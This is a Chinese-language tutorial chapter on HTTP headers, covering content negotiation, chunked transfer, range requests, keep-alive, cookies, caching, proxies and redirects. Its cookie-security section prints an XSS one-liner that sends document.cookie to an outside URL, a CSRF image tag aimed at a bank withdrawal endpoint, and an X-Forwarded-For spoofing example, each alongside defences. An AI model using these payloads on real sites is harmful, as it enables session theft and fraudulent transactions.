本文為《三萬長文50+趣圖帶你領悟web程式設計的內功心法》第四個章節。
4、HTTP常用請求頭大揭祕
上面列出了報文的各種請求頭、響應頭、狀態碼,是不是感到特別暈呢。這節我們就專門挑一些最常用的請求頭,舉例說明請求頭對應支撐的HTTP功能。
4.1、資料型別、壓縮編碼,語言,內容協商和質量值
我們來看一個最基本的HTTP互動。
其中,GET表示方法,就不多說了。
Host:Host 請求頭指明瞭請求將要傳送到的伺服器主機名和埠號。Host讓虛擬主機託管成為了可能,也就是一個IP上提供多個Web服務。
協商
客戶端先傳送Accept、Accept-Encoding、Accept-Language請求頭進行協商。其中:
- Accept指明瞭客戶端可理解的MIME type,用“,”做分隔符,列出多個型別;
- Appcep-Encoding指明客戶端可理解的壓縮格式;
- Accept-Languate指明客戶端可理解的自然語言;
可以給每個協商項指定質量值q。質量值從0~1,1最高,表示最期望伺服器採用該型別,0表示拒絕接受該型別。
協商結果
服務端會在響應頭裡面告知協商的結果:
- Content-Type表示服務端實際採用的型別;
- Content-Encoding表示服務端實際採用的壓縮格式,如果相應報文沒有該請求頭,則代表服務端沒有開啟壓縮;
- Content-Language表示服務端實際採用的自然語言;
服務端是怎麼協商的
服務端在客戶端請求中,用了哪些請求頭部資訊進行協商的呢,這裡需要用到Vary首部:
Vary: *
Vary: <header-name>, <header-name>, ...
例如:
Vary: User-Agent
表示伺服器依據 User-Agent 欄位,決定發回了響應報文。此場景常見於:對於不同的終端,返回的內容是不同的,那麼就需要用 User-Agnet進行區分以及快取了。
更多協商資訊:《HTTP權威指南》第17章 內容協商與轉碼[1]
字符集
另外,客戶端和服務端也可以協商字符集:
- 請求頭:Accept-Charset;
- 響應頭:沒有單獨的響應頭,而是附加在Content-Type中:
Content-Type: text/html; charset=utf-8
協商請求響應頭對應關係如下圖:
4.2、分塊傳輸編碼、範圍請求和多段資料
分塊傳輸響應頭:Transfer-Encoding: chunked。
4.2.1、分塊傳輸編碼 Transfer-Encoding: chunked
一般情況下,我們請求後端,都可以拿到靜態資源的完整Content-Length大小,一次性傳輸到客戶端。
對於動態頁面,也可以在後端一次性生成所有需要返回的內容,得到Content-Length大小,一次性傳輸到客戶端。
但是想象以下場景:Content-Encoding為gzip,服務端進行壓縮的時候,需要一塊很大的位元組陣列進行壓縮,最終得到整個陣列的Content-Length。
舉個例子:如下圖:
客戶端需要向伺服器請求獲取一串葡萄,最期望拿到一串新疆葡萄,可以使用gzip編碼。
最終客戶端通過gzip,把葡萄壓縮成了葡萄乾,一次性傳輸給了客戶端。客戶端拿到了所有的葡萄乾,解壓回葡萄。
至於葡萄乾注水還原回葡萄的技術有待大家研究實現,研究出來了可以分享給我,謝謝!
可以發現:服務端在壓縮的過程中很佔快取,只能等壓縮完成之後一次性傳輸,傳輸的內容龐大,瞬間佔用網路,如果頻寬不夠,就會導致訊息延遲。
那麼,這個時候,我們就可以使用分塊傳輸來優化這個流程了:
我們可以將葡萄一顆一顆的壓縮傳輸給客戶端一顆,這樣傳輸的時候就不用佔用太多記憶體,傳輸也不會瞬時佔用太多頻寬了:
分塊傳輸編碼格式
下面我們通過一個具體的請求來說明分塊傳輸編碼的響應格式。
這裡我們用OpenResty伺服器,假設請求的服務端程式碼是這樣的lua指令碼:
ngx.header['Content-Type'] = 'text/plain;charset=utf-8'
ngx.header['Transfer-Encoding'] = 'chunked'
for i=1,10 do
ngx.print('第' + i + '顆葡萄\n')
ngx.flush(true)
end
我們抓包來看看完整的TCP請求,圖片比較大,感興趣的同學放大檢視:
分析下TCP包:
- 21~23:是TCP連線三次握手的過程;
- 24:服務端通知客戶端視窗大小變更;
- 25:也就是第一個高亮的行,發起HTTP請求,嘗試獲取一串葡萄;
- 27~41:服務端分塊多次推送了一顆顆的葡萄給到客戶端;
- 43:最終在HTTP應用層,拿到了完整的一串葡萄,10個Data chunk對應10顆葡萄:
頁面展示如下:
grape 1
grape 2
grape 3
grape 4
grape 5
grape 6
grape 7
grape 8
grape 9
grape 10
根據以上抓包的報文格式,可以得到最終的HTTP響應報文格式如下:
注意:
分塊傳輸和編碼只在HTTP/1.1版本中提供。
HTTP/2不支援分塊傳輸,因為其本身提供的更加高階的流傳輸實現了類似的功能。
4.2.2、範圍請求
範圍請求響應頭:Accept-Ranges: bytes,有這個響應頭的,就表示當前響應的資源支援範圍請求。
假設一個檔案很大,我們想要獲取其中的一部分,這個時候就可以使用範圍請求了。範圍請求常用語實現以下功能更:
- 看視訊,拖到某一個時間點進行載入;
- 下載工具中的多執行緒分段下載;
- 下載工具中高階斷點續傳,如果網路不好,斷開連線了,等到重新連線之後,可以繼續獲取剩餘部分內容。
範圍請求頭
確定了服務端支援範圍請求之後,客戶端在請求中使用Range請求頭,指定要接收的範圍即可,如:
-- 格式:bytes=x-y,x y表示偏移量,從0開始
-- 請求獲取前面11個位元組
Range: bytes=0-10
-- 請求所有內容
Range: bytes=10-
-- 獲取文件最後10個位元組
Range: bytes=-10
服務端響應
- 請求範圍不合法,返回狀態碼416: Range Not Satisfiable;
- 請求合法,返回狀態碼206: Partial Content;
- 響應頭新增:Content-Range: bytes x-y/length,表示本次實際響應的範圍
舉個例子,我們請求IT宅首頁,如下:
# 執行以下請求:
curl -i -H 'Range: bytes=0-15' https://www.itzhai.com
# 結果如下:
HTTP/1.1 206 Partial Content
Server: nginx/1.16.1
Date: Sun, 30 Aug 2020 02:22:59 GMT
Content-Type: text/html
Content-Length: 16
Last-Modified: Fri, 01 May 2020 03:45:21 GMT
Connection: keep-alive
ETag: "5eab9b51-134ee"
Content-Range: bytes 0-15/79086
<!DOCTYPE html>
多段資料
範圍請求支援同時請求多段資料,下面是一個例子:
# 執行以下請求:
curl -i -H 'Range: bytes=0-15, 16-26' https://www.itzhai.com
# 結果如下:
HTTP/1.1 206 Partial Content
Server: nginx/1.16.1
Date: Sun, 30 Aug 2020 02:27:07 GMT
Content-Type: multipart/byteranges; boundary=00000000000000000023
Content-Length: 228
Last-Modified: Fri, 01 May 2020 03:45:21 GMT
Connection: keep-alive
ETag: "5eab9b51-134ee"
--00000000000000000023
Content-Type: text/html
Content-Range: bytes 0-15/79086
<!DOCTYPE html>
--00000000000000000023
Content-Type: text/html
Content-Range: bytes 16-26/79086
<html class
--00000000000000000023--
響應格式如下:
4.3、HTTP/1.1連線管理
說到HTTP的連線,就不得不先說說TCP的連線管理了,我們來回顧下TCP的建立連線,傳輸資料,關閉連線的過程[2]:
這裡詳細流程就不說了,詳細參考我的上一篇關於網路內功心法的文章[2:1]。
可以發現為了傳輸資料,三次握手和四次揮手,分別消耗了1.5個RTT和2個RTT(Round-trip time RTT),假設建立起這個TCP連線就為了來回傳輸一次資料,可以發現其利用率很低:
1 / (1 + 1.5 + 2) = 22%
4.3.1、短連線的弊端
如下圖:
每次傳輸資料,都需要建立新的連結,這種連線我們稱為短連線。
由上面分析可知,短連線極大的降低了傳輸效率,每次有什麼資料需要傳輸,都要重新進行三次握手和四次揮手。
早期的HTTP是短連線的,或稱為無連線。
4.3.2、為什麼要有長連線
為了解決效率問題,於是出現了長連線。由上面分析可知,短連線傳輸效率低,所以,自從HTTP/1.1開始,預設就支援了長連線,也稱為持久連線。
所謂長連線,就是在跟服務端約定,本次建立的連線,後邊還會繼續用到。於是,這樣約定之後,TCP層通過TCP的keep-alive機制維持TCP連線。
TCP如何維持連線呢,這裡介紹系統核心的三個相關配置引數:
net.ipv4.tcp_keepalive_intvl
= 15;
net. ipv4.tcp_keepalive_probes
= 5;
net.ipv4.tcp_keepalive_time
= 1800;當TCP連線閒置了
tcp_keepalive_time
秒之後,服務端就嘗試向客戶端傳送偵測包,來判斷TCP連線狀態,如果偵測後沒有收到ack反饋,那麼在tcp_keepalive_intvl
秒後再次嘗試傳送偵測包,知道接收到ack反饋。一共會嘗試tcp_keepalive_probes
次偵測請求。如果嘗試tcp_keepalive_probes
次之後,依然沒有收到ack包,那麼就會丟棄這個TCP連線了。
使用長連線的HTTP協議,會在響應頭加入這個:
Connection: keep-alive
如下圖:
客戶端和伺服器一旦建立連線之後,可以一直複用這個連線進行傳輸。
4.3.3、長連線問題
4.3.3.1、如何避免長連線資源浪費
如果建立長連線之後,一直不用,對於伺服器來說是多麼浪費資源呀。為此需要有關閉長連線的機制。
場景的控制手段:
系統核心引數設定
:如上一節提到的幾個引數;客戶端請求頭宣告
:- 請求頭宣告
Connection: close
,本次通訊技術之後就關閉連線。
- 請求頭宣告
服務端配置
:如Nginx,設定- keepalive_timeout:設定長連線超時時間;
- keepalive_requests:設定長連線請求次數上限。
4.3.3.2、長連線的缺點
我們可以建立起TCP長連線,但是HTTP/1.1是請求應答模型的,只要一個請求還沒有收到應答,當前TCP連線就不可以發起下一個請求,也就是HTTP請求隊頭阻塞:
當前客戶端與服務端值建立了一個已連線套接字,即一個TCP連線,客戶端所有請求都通過這個TCP連線傳送,由於request 1請求還沒有接收到應答,其他的request就不能發起請求了。
為了減小請求阻塞等待的影響,於是人們考慮在同一個瀏覽器裡面開啟多個TCP連線,這樣,即使一個TCP被阻塞了,還有另外的可以繼續發起請求。
不過客戶端開太多TCP連線,會導致伺服器承受更大的壓力。在RFC2616中限制客戶端最多併發兩個,但是目前大部分瀏覽器支援6個或者更多的併發連線數。
為了進一步優化前端載入請求,這個時期出現了很多各式的前端優化小技巧,如:
- 為了增加併發請求,做域名拆分,這樣就突破了瀏覽器對併發請求數的限制了;
- CSS、JS等資源內聯到HTML中,或者進行資源合併,從而減少客戶端的併發請求數;
- 生成精靈圖,一次性傳輸所有小圖示,從而減少客戶端的併發請求數;
- 資源預取...
不過,HTTP/2解決了HTTP請求的隊頭阻塞,有些原有的優化在HTTP/2中則成為了反模式,如:域名拆分後需要建立多個域名的連線,精靈圖或者合併CSS、JS等導致不能更靈活的控制快取...
4.3.4、管道化長連線
管道傳輸技術是在HTTP/1.1中引入的,在HTTP/1.0中不存在。
HTTP管道傳輸技術可以在單個TCP連線上連續傳送多個HTTP請求,而無需等待響應,截止2018年,由於一些問題(如錯誤的代理伺服器和TCP隊頭阻塞),現代瀏覽器預設未啟用管道。
引入了管道技術之後的長連線如下圖:
多個HTTP請求可以連續傳送出去,而不用等待已傳送請求的響應,請求和響應都是通過FIFO佇列進行的。
不過由於TCP是嚴格按照順序進行傳輸資料的,前面的TCP資料丟失,就會導致阻塞後續的分組資料,這也就是TCP的隊頭阻塞。
管道化長連線有何問題?
根據上面的分析可知,HTTP管道有如下問題:
- 慢響應會導致TCP隊頭阻塞(HOL blocking),影響後續請求;
- 如果前面的某個響應失敗了,會導致TCP連線終止,那麼未響應的請求都得重新進行傳送了;
- 如果請求鏈中有很多中間代理,代理對管道的相容性則成為了問題,很有可能導致管道機制失效,因為大多數HTTP代理不通過管道進行傳輸;
- 由於FIFO機制,導致有些請求被接收之後,還保持了不必要的很長的時間;
- ...
基於以上眾多問題,在所有主要瀏覽器中,只有Opera瀏覽器才在預設情況下啟用管道機制,其他瀏覽器基本預設不啟用管道機制。
4.3.5、長連線如何改善
我們知道,長連線有如下缺點:
- 由於保持連線,影響伺服器效能;
- 可能發生隊頭阻塞,造成資訊延遲。
HTTP的多路複用技術支援多個請求同時傳送,類似於多執行緒的併發機制,更充分的利用到了建立好的一個長連線。
HTTP2相關特性我們後面再詳細介紹。
4.4、HTTP/1.1的Cookie機制
由於HTTP是無狀態的,於是出現Cookie和Session,為HTTP彌補了狀態儲存的問題。
HTTP Cookie是伺服器傳送到使用者瀏覽器並儲存在本地的一小塊資料,它會在瀏覽器下次向同一伺服器再發起請求時被攜帶併傳送到伺服器上。
就像我們去公司報導,公司給你辦理了一張工卡,門口的保安大哥可不會記住哪些人是公司的,於是只能叫你出示工卡。如果把公司比作伺服器的話,這張工卡就相當於Cookie,我們每次出示工卡給保安大哥,於是就驗證通過了。
Cookie工作機制:瀏覽器請求伺服器之後,伺服器響應頭可以新增Set-Cookie
欄位,瀏覽器拿到Cookie之後,按域名區分儲存起來,下次請求同一個域名的伺服器,通過Cookie
請求頭傳給服務端,服務端則可以根據Cookie資訊判斷到時之前請求的一個客戶端。
Cookie關鍵屬性
屬性名 | 作用 |
---|---|
Expires | 過期時間,一個絕對的時間點 |
Max-Age | 設定單位為秒的cookie生存期,瀏覽器優先使用Max-Age |
Domain | 指定Cookie所屬的域名 |
Path | 指定Cookie所屬的路徑字首,瀏覽器在發起請求前,判斷瀏覽器Cookie中的Domain和Path是否和請求URI匹配,只有匹配才會附加Cookie |
HttpOnly | 指明該Cookie只能通過瀏覽器的HTTP協議傳輸,瀏覽器JS引擎將禁用document.cookie等api,從而避免被不壞好意的人拿到cookie資訊。此預防措施有助於緩解跨站點指令碼(XSS)攻擊。 |
Secure | 指明只能通過被 HTTPS 協議加密過的請求傳送給服務端,但即便設定了 Secure 標記,敏感資訊也不應該通過 Cookie 傳輸,因為 Cookie 有其固有的不安全性,Secure 標記也無法提供確實的安全保障, 例如,可以訪問客戶端硬碟的人可以讀取它。 |
SameSite | SameSite=None: 瀏覽器會在同站請求、跨站請求下繼續傳送 cookies,不區分大小寫 SameSite=Strict:限定Cookie不能隨著跳轉連線跨站傳送,只在訪問相同站點時傳送 cookie SameSite=Lax:允許GET/HEAD等安全方法,禁止POST跨站點傳送,在新版本瀏覽器中,為預設選項,Same-site cookies 將會為一些跨站子請求保留,如圖片載入或者 frames 的呼叫,但只有當使用者從外部站點導航到URL時才會傳送 |
4.4.1、Cookie常見安全問題
XSS攻擊
通過指令碼注入,竊取Cookie,如:
(new Image()).src = "http://www.itzhai.com/steal-cookie?cookie=" + document.cookie;
上面表格中提到的HttpOnly正是為了阻止JavaScript 對其的訪問性而能在一定程度上緩解此類攻擊。
CSRF跨站請求偽造
在不安全的聊天室或者論壇等,看到一張圖片,實際上他可能是請求了你的某個銀行的轉賬介面,讓你的錢轉到別人的賬上,如果開啟了這個圖片,並且之前已經登陸過銀行賬號,並且Cookie仍然有效,那麼錢就有可能被轉走了。
<img src="http://bank.test.com/withdraw?account=youraccount&amount=10000&for=arthinking">
為此,常見對因對措施有:
- 對使用者輸入進行XSS過濾;
- 敏感的業務操作都需要新增各種形式的校驗:如密碼、簡訊驗證碼等;
- 敏感資訊Cookie設定有效期儘可能短...
本文首次發表於: HTTP常用請求頭大揭祕 以及公眾號 Java架構雜談,未經許可,不得轉載。
4.5、HTTP快取機制
4.5.1、快取請求指令
客戶端可以用Cache-Control請求首部來強化或者放鬆對過期時間的限制。
指令 | 說明 |
---|---|
Cache-Control: max-age=<seconds> |
拒絕接受快取時間長於seconds 秒的資源,如果seconds 為0,則表示請求獲取最新的資源; |
Cache-control: no-cache | 除非資源進行了再驗證,否則這個客戶端不會接受已快取的資源; |
Cache-control: no-store | 快取不應儲存有關客戶端請求或伺服器響應的任何內容,即不使用任何快取; |
Cache-control: only-if-cached | 表明客戶端只接受已快取的響應,並且不要向原始伺服器檢查是否有新的拷貝; |
Cache-control: no-transform | 不得對資源進行轉換或轉變。Content-Encoding 、Content-Range 、Content-Type 等HTTP頭不能由代理修改 |
Cache-Control: max-stale[=<seconds>] |
表明客戶端願意接收一個已經過期的資源。可以設定一個可選的秒數,表示響應不能已經過時超過該給定的時間 |
Cache-Control: min-fresh=<seconds> |
表示客戶端希望獲取一個能在指定的秒數內保持其最新狀態的響應 |
4.5.2、快取響應指令
指令 | 說明 |
---|---|
Cache-Control: max-age=<seconds> |
設定快取儲存的最大週期,超過這個時間快取被認為過期(單位秒) |
Cache-control: no-store | 快取不應儲存有關客戶端請求或伺服器響應的任何內容,即不使用任何快取 |
Cache-control: no-cache | 在釋出快取副本之前,強制要求快取把請求提交給原始伺服器進行驗證(協商快取驗證) |
Cache-Control: must-revalidate | 一旦資源過期(比如已經超過max-age ),在成功向原始伺服器驗證之前,快取不能用該資源響應後續請求 |
Cache-control: no-transform | 一旦資源過期(比如已經超過max-age ),在成功向原始伺服器驗證之前,快取不能用該資源響應後續請求 |
Cache-control: public | 表明響應可以被任何物件(包括:傳送請求的客戶端,代理伺服器,等等)快取,即使是通常不可快取的內容。(例如:1.該響應沒有max-age 指令或Expires 訊息頭;2. 該響應對應的請求方法是 POST 。) |
Cache-control: private | 表明響應只能被單個使用者快取,不能作為共享快取(即代理伺服器不能快取它)。私有快取可以快取響應內容,比如:對應使用者的本地瀏覽器 |
Cache-control: proxy-revalidate | 與must-revalidate作用相同,但它僅適用於共享快取(例如代理),並被私有快取忽略 |
Cache-control: s-maxage=<seconds> |
覆蓋max-age 或者Expires 頭,但是僅適用於共享快取(比如各個代理),私有快取會忽略它 |
4.5.3、伺服器再驗證
指令 | 說明 |
---|---|
If-Modified-Since: Date | 第一次響應報文提供Last-modified,第二次請求帶上這個值,給服務端驗證快取是否有修改,無修改則返回:304 Not Modified |
If-None-Match: ETag | 第一次響應報文提供ETag,第二次請求帶上這個值,給服務端驗證快取是否最新,無修改則返回:304 Not Modified, |
Last-modified和ETag有什麼區別?
有任何改動,ETag都會變動,但是同一秒內的改動,Last-modified是一樣的。
4.6、HTTP代理
想象一下我們傳統的三層架構,如果我們想統一把批量修改資料的SQL遮蔽掉,那麼直接修改DAO層,統一攔截處理就可以了。類似的,網路系統也是如此,在傳統的客戶端和服務端之間,可能會存在各種各樣的代理伺服器,用於實現各種功能。
常見的代理有兩種:普通代理-中間人代理,隧道代理。
4.6.1、普通代理[3]
話不多說,我們直接上圖,說明一下代理的工作原理:
代理既是伺服器,又是客戶端。
代理工作原理:客戶端向代理髮送請求,代理接收請求並與客戶端建立連線,然後轉發請求給伺服器,伺服器接收請求並與代理建立連線,最終把響應按原路返回。
當然,實際的場景中,客戶端與伺服器可能包含多個代理伺服器。
代理最常見到的請求頭
RFC 7230
中定義了Via
,用於追蹤請求和響應訊息轉發情況;RFC 7239
中定義了X-Forwarded-For
用於記錄客戶端請求的來源IP;X-Real-IP
可以用於記錄客戶端實際請求IP,該請求頭不屬於任何標準。
-
Via
:**Via**
是一個通用首部,是由代理伺服器新增的,適用於正向和反向代理,在請求和響應首部中均可出現。這個訊息首部可以用來追蹤訊息轉發情況,防止迴圈請求,以及識別在請求或響應傳遞鏈中訊息傳送者對於協議的支援能力; -
X-Forwarded-For
:每經過一級代理(匿名代理除外),代理伺服器都會把這次請求的來源IP
追加在X-Forwarded-For
中:-
X-Forwarded-For: client, proxy1, proxy2
-
注意:與伺服器直連的代理的IP不會被追加到X-Forwarded-For中,該代理可以通過TCP連線的Remote Address欄位獲取到與伺服器直連的代理IP地址;
-
-
X-Real-IP
:記錄與當前代理伺服器建立TCP連線的客戶端的IP,一般通過$remote_addr
獲取,這個IP是上一級代理的IP,如果沒有代理,則是客戶端的IP;
一般我們在Nginx中會做如下配置:
location / {
proxy_set_header X-Real-IP $remote_addr; // 與伺服器建立TCP連線的客戶端的IP作為X-Real-IP
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; // 追加請求的來源IP
...
}
假設我們所有的代理都按照如上設定,那麼請求頭變化情況則如下:
客戶端IP偽造
注意,X-Forwarded-For是可以偽造的,一些通過X-Forwarded-For獲取到的客戶端IP來限制刷投票的系統就可以通過偽造該請求頭來打到刷票的效果,如果客戶端請求顯示指定了X-Forwarded-For
X-Forwarded-For: 192.168.1.2
那麼,伺服器接收到的該請求頭,第一個IP就是這個偽造的IP了。
如何防範IP偽造?
方法一:在對外Nginx伺服器上配置:
proxy_set_header X-Forwarded-For $remote_addr;
這樣,第一個IP就是從TCP連線的客戶端IP地址了,不會讀取客戶端偽造的X-Forwarded-For。
方法二:從右到左遍歷X-Forwarded-For的IP,剔除已知代理伺服器IP和內網IP,獲取到第一個符合條件的IP。
正向代理和反向代理
工作在客戶端的代理我們稱為正向代理。使用正向代理的時候,需要在客戶端配置使用的代理伺服器,正向代理對服務端透明。我們常用的Fiddler、charles抓包工具,以及訪問一些外網網站的代理工具就屬於正向代理。
如下圖:
正向代理通常用於:
- 快取;
- 遮蔽某些不健康的網站;
- 通過代理訪問原本無法訪問的網站;
- 上網認證,對用於進行訪問授權...
工作在服務端的代理我們稱為反向代理。使用反向代理的時候,無需在客戶端進行設定,反向代理對客戶端透明。反向代理(Reverse Proxy)這個名詞有點讓人摸不著頭腦,不過就這麼叫吧,我們常用的nginx就是屬於反向代理。
如下圖:
通用把80作為http的埠,把433埠作為https的埠。
反向代理通常用於:
- 負載均衡;
- 服務端快取;
- 流量隔離;
- 日誌;
- 金絲雀釋出...
代理中的持久連線
Connection請求頭
我們得先介紹下Connection請求頭欄位。
在各個代理和伺服器、客戶端節點之間的是一段一段的TCP連線,客戶端通過中間代理,訪問目標伺服器的過程也叫逐段傳輸,用於逐段傳輸的請求頭被稱為逐段傳輸頭。
逐段傳輸頭
會在每一段傳輸的中間代理中處理掉,不會往下傳輸給下一個代理。
標準的逐段傳輸頭有:Keep-Alive
, Transfer-Encoding
, TE
, Connection
, Trailer
, Upgrade
, Proxy-Authorization
和 Proxy-Authenticate
。
Connection 頭(header) 決定當前的事務完成後,是否會關閉網路連線。如果該值是“keep-alive”,網路連線就是持久的,不會關閉,使得對同一個伺服器的請求可以繼續在該連線上完成。
除此之外,除了標準的逐段傳輸頭,任何逐段傳輸頭都需要在Connection頭中列出,這樣才能夠讓請求的代理知道並處理掉它們並且不轉發這些頭,當然,標準的逐段傳輸頭也可以列出。
有了這個Connection頭,代理就知道要處理掉哪些請求頭了, 比如代理會處理掉Keep-Alive,根據自己的實際情況看看是否支援Keep-Alive,如果不支援,就不會繼續往下傳了。
Nginx keep-alive
比如,Nginx作為反向代理,可以為其設定keep-alive機制,nginx開啟了keep-alive的時候,連線是這樣的 :
Nginx中關於keep-alive[4]的設定:
- keepalive: 設定連線池最大的空閒連線數量;
- keepalive_timeout: 設定客戶端連線超時時間,為0的時候表示禁用長連線;
- keepalive_requests: 設定一個長連線上可以服務的最大請求數量。
古老的代理如何處理持久連線
網路是複雜的,特別是加入了很多代理之後,假如客戶端想要發起持久連線,而中間某些古老的代理伺服器,可能不認識Connection頭,也不支援持久連線,會出現什麼情況呢?
如上圖,中間的兩臺代理不認識Connection: keep-alive
,於是直接轉發了,最終伺服器收到這個頭,以為proxy2要和他建立持久連線,於是響應了Connection: keep-alive
,代理伺服器轉發回給客戶端,客戶端以為建立成功了長連線,於是繼續使用這個連線傳送訊息,可是中間的代理在處理完請求響應之後,早就已經把TCP連線給關閉了,從而最終導致瀏覽器請求連線超時。
為了避免這類問題,有時候伺服器會選擇直接忽略HTTP/1.0的Keep-Alive特性,也就是不使用持久連線,也不會返回Keep-Alive給客戶端。
4.6.2、隧道代理[5]
HTTP客戶端可以通過CONNECT方法請求隧道代理建立一個到人任意目標伺服器和埠號的TCP連線,連線建立完成之後,後續隧道代理只做請求和響應資料的轉發,就像一條隧道一樣,這也是隧道代理名字的由來。
為什麼需要隧道代理?
想象以下,我們要請求的HTTPS服務中間經過了代理,我們是不是 要先讓客戶端跟代理伺服器建立HTTPS連線呢?顯然這樣是無法實現的,因為中間代理沒有網站的私鑰證照,所以最終導致瀏覽器和代理之間的TLS無法建立。
為了解決這個問題,於是引入了隧道代理,隧道代理不在作為中間人,也不會改寫瀏覽器的任何請求,而是把瀏覽器的通訊資料原樣透傳,這樣就實現了讓客戶端通過中間代理,和伺服器進行TLS握手,然後進行加密傳輸。
其工作流程大致如下:
4.7、HTTP重定向
這裡我們重點關注兩個:
- 301 永久重定向
- 302 臨時重定向
在收到重定向的狀態碼之後,客戶端會檢測響應頭裡面的Location欄位,從裡面取出URI,從而自動發起新的HTTP請求。
最常見的使用重定向的例子:
- 由於網頁遷移,為了不影響SEO,把舊的網址的URL 301重定向到新版的網址;
- 由於服務臨時升級,把原來服務請求302重定向到一個升級提示頁面,但這樣會導致服務端多了一倍的請求量,有時候我們是直接在服務端反悔了升級提示的頁面。
這篇文章的內容就介紹到這裡,能夠閱讀到這裡的朋友真的是很有耐心,為你點個贊。
本文為arthinking基於相關技術資料和官方文件撰寫而成,確保內容的準確性,如果你發現了有何錯漏之處,煩請高抬貴手幫忙指正,萬分感激。
如果您覺得讀完本文有所收穫的話,可以關注我的賬號,或者點贊吧,碼字不易,您的支援就是我寫作的最大動力,再次感謝!
為了把相關係列文章收集起來,方便後續查閱,這裡我建立了一個Github倉庫,把釋出的文章按照分類收集起來了,感興趣的朋友可以Star跟進:
關注我的部落格IT宅(itzhai.com)
或者公眾號Java架構雜談
,及時獲取最新的文章。我將持續更新後端相關技術,涉及JVM、Java基礎、架構設計、網路程式設計、資料結構、資料庫、演算法、併發程式設計、分散式系統等相關內容。
References
- 謝希仁. 計算機網路(第6版). 電子工業出版社.
- TCP/IP詳解 卷1:協議(原書第2版). 機械工業出版社.
- UNIX網路程式設計 卷1:套接字聯網API. 人民郵電出版社
- HTTP權威指南. 人民郵電出版社
- HTTP/2基礎教程. 人民郵電出版社
- 劉超. 趣談網路協議. 極客時間
- 羅劍鋒. 透視HTTP協議. 即可時間
本文同步發表於我的部落格IT宅(itzhai.com)和公眾號(Java架構雜談)
作者:arthinking | 公眾號:Java架構雜談
部落格連結:https://www.itzhai.com/articles/secrets-of-http-common-request-headers.html
版權宣告: 版權歸作者所有,未經許可不得轉載,侵權必究!聯絡作者請加公眾號。
《HTTP權威指南》第17章 內容協商與轉碼. 人民郵電出版社. P413 ↩︎
兩萬字長文50+張趣圖帶你領悟網路程式設計的內功心法-TCP連線管理. Retrieved from https://www.itzhai.com/network/comprehend-the-underlying-principles-of-network-programming.html#4-2-3、連線管理 ↩︎ ↩︎
《HTTP權威指南》 第六章 代理 ↩︎
Module ngx_http_upstream_module. Retrieved from http://nginx.org/en/docs/http/ngx_http_upstream_module.html#keepalive ↩︎
《HTTP權威指南》 第八章 整合點:閘道器、隧道及中繼 ↩︎